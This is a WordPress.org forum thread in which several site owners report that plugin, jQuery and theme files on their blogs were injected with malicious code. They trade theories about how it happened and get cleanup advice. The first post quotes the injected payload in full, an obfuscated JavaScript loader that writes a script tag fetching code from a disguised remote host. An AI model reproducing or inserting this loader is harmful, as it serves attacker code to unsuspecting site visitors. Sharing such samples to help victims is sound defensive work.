WordPress.org

Ready to get started?Download WordPress

Forums

Cforms.js hacked, warning (13 posts)

  1. jbbrwcky
    Member
    Posted 5 years ago #

    Hi,

    I received an email regarding a hack on my site. I delved further, downloaded the entire lot and went through it.

    I found that the plugins/cforms/js/cforms.js had been altered.

    At the end of it, this was appended:

    function advQuery(){var Host="http://google.com/";Track="/if.php";get=unescape("%6E%65%74");document.write(unescape("%3Cscript src='"+Host.substr(0,9)+unescape("\u0030\u0030")+Host.substr(9,5)+get));document.write(unescape(Track+"' type='text/javascript'%3E%3C/script%3E"));};advQuery();

    Just FYI.

    Question is of course - how did this happen? I have tried to secure it as much as I can, removed wp-atom, xmlrpc etc., secured directories, have few plugins, yet this still happens.

    Richard

  2. Hirvine
    Member
    Posted 5 years ago #

    I have exactly the same problem, however in WordPress Core.

    wp-includes/js/jquery/jquery.js was been modified.
    As @jbbrwcky tells, the advQuery line was appended.

    Anyone knows more about this?
    I have closed additionally tested to close all of my plugins. Hiwever the wordpress jQuery remains under fire. So :?

    edit: resolved (some) misspelling

  3. shemyak
    Member
    Posted 5 years ago #

    I'm running two WordPress blogs, hosted on the same server, and both got infected with this, although at different files:

    - <my theme>/footer.php at one blog. This was efficient, as any HTML file served by my WordPress installation called this malicious code :-|
    - wp-includes/js/jquery/jquery.js (same as Hirvine) at the other.

    - Konstantin.

  4. llamaman
    Member
    Posted 5 years ago #

    I would like to echo this chorus.

    On different blog installations, I have had my main index.php, jquery.js, cforms.js, and other plugin files injected with this malicious code.

    Does anyone know of any vulnerabilities in the WordPress core or certain plugins that might be allowing these hacks? I always update to the most recent version...

    Thanks!

  5. gohlkus
    Member
    Posted 4 years ago #

    This is a good question.

    I discovered this week that my site had been hacked. The hacker was using a php file that was in an old month in the uploads folder to add spam links to my site index (root directory index.html, not blog directory) and footer.php.

    So I am in the middle of taking all the precautions; I changed all the passwords, upgraded from 2.8.1 to 2.8.2, and am looking through the site for other suspicious code -- but I don't know where the hole is or whether it has been fixed.

  6. mradmin
    Member
    Posted 4 years ago #

    WordPress hello? I've seen this happening all over the interwebs as of recent. Some information would be useful. Thank you.

  7. mradmin
    Member
    Posted 4 years ago #

    Umm, for example: http://www.learningjquery.com/hacked.html
    (not sure how long that link will be valid for)

  8. luxubux
    Member
    Posted 4 years ago #

    I run several wordpress sites and two sites got hacked, one several times even after deleting the phishing content. It resulted in a big argument with the host and they suspended this domain.

    I am not a programmer,so i have no idea how to prevent this from happening again and for me to even see what has changed in PHP files is a huge task. These sites are my source of income. Any help?

    Thanks

  9. mfshearer72
    Member
    Posted 4 years ago #

    I have seen a variety of files with this hack, including core and plugin scripts (wp-ecommerce, nextgen gallery...)

    I've examined the database to see if there was a sql injection causing this b/c I would remove the hack and it would return. I couldn't find anything so I am left with updating WP and continually deleting right now...or disabling the plugin which is not ideal.

  10. manix2008
    Member
    Posted 4 years ago #

    Did this ever get sorted out? A friend's blog went through the same thing yesterday, he didn't listen to me when I said always update but if it hasn't been fixed I guess it wouldn't have mattered.

  11. teflowers
    Member
    Posted 4 years ago #

    I'm sorry to tell you folks that it is not a matter of updating the blog. I have several blogs and two of them have been hacked. One of them had only two daysof being installed for the first time !!! Two days... the latest version... and it was hacked.!!! I believe we need to hear from someone that really understands the problem.

  12. seankelley
    Member
    Posted 4 years ago #

    Just echoing this.
    Bump WP admins..

  13. Floridan
    Member
    Posted 4 years ago #

    To those of you who have been hacked, the answer has been repeated over and over in these forums: The hacker is gaining access to your WP installation through your FTP on your desktop.

    And your WordPress blog is being hacked because you have a trojan hiding on your PC. You are wasting your time securing or upgrading your WP installation if you do not find and delete the trojan and/or malware on your PC first.

    Changing your passwords and upgrading WP is useless if your PC is still infected with a trojan. Additionally, the hacker hides a PHP shell script somewhere on your servers outside of your WP install. To find it you must either run a virus scan on your entire server (or ask your host to run one) or you can manually eyeball the dates inside every single folder on your server (inside and outside of WP) to see which file was updated recently or to find filenames that you know you didn't create.

    Once you remove the PHP shell file(s), you must scan your hard drive for trojans/malware. Once your HD is clean you can then change your passwords and upgrade your WP install or simply overwrite your files with clean files. I would suggest using several different anti-virus/anti-malware programs to find the trojan. Malwarebytes is a good start.

Topic Closed

This topic has been closed to new replies.

About this Topic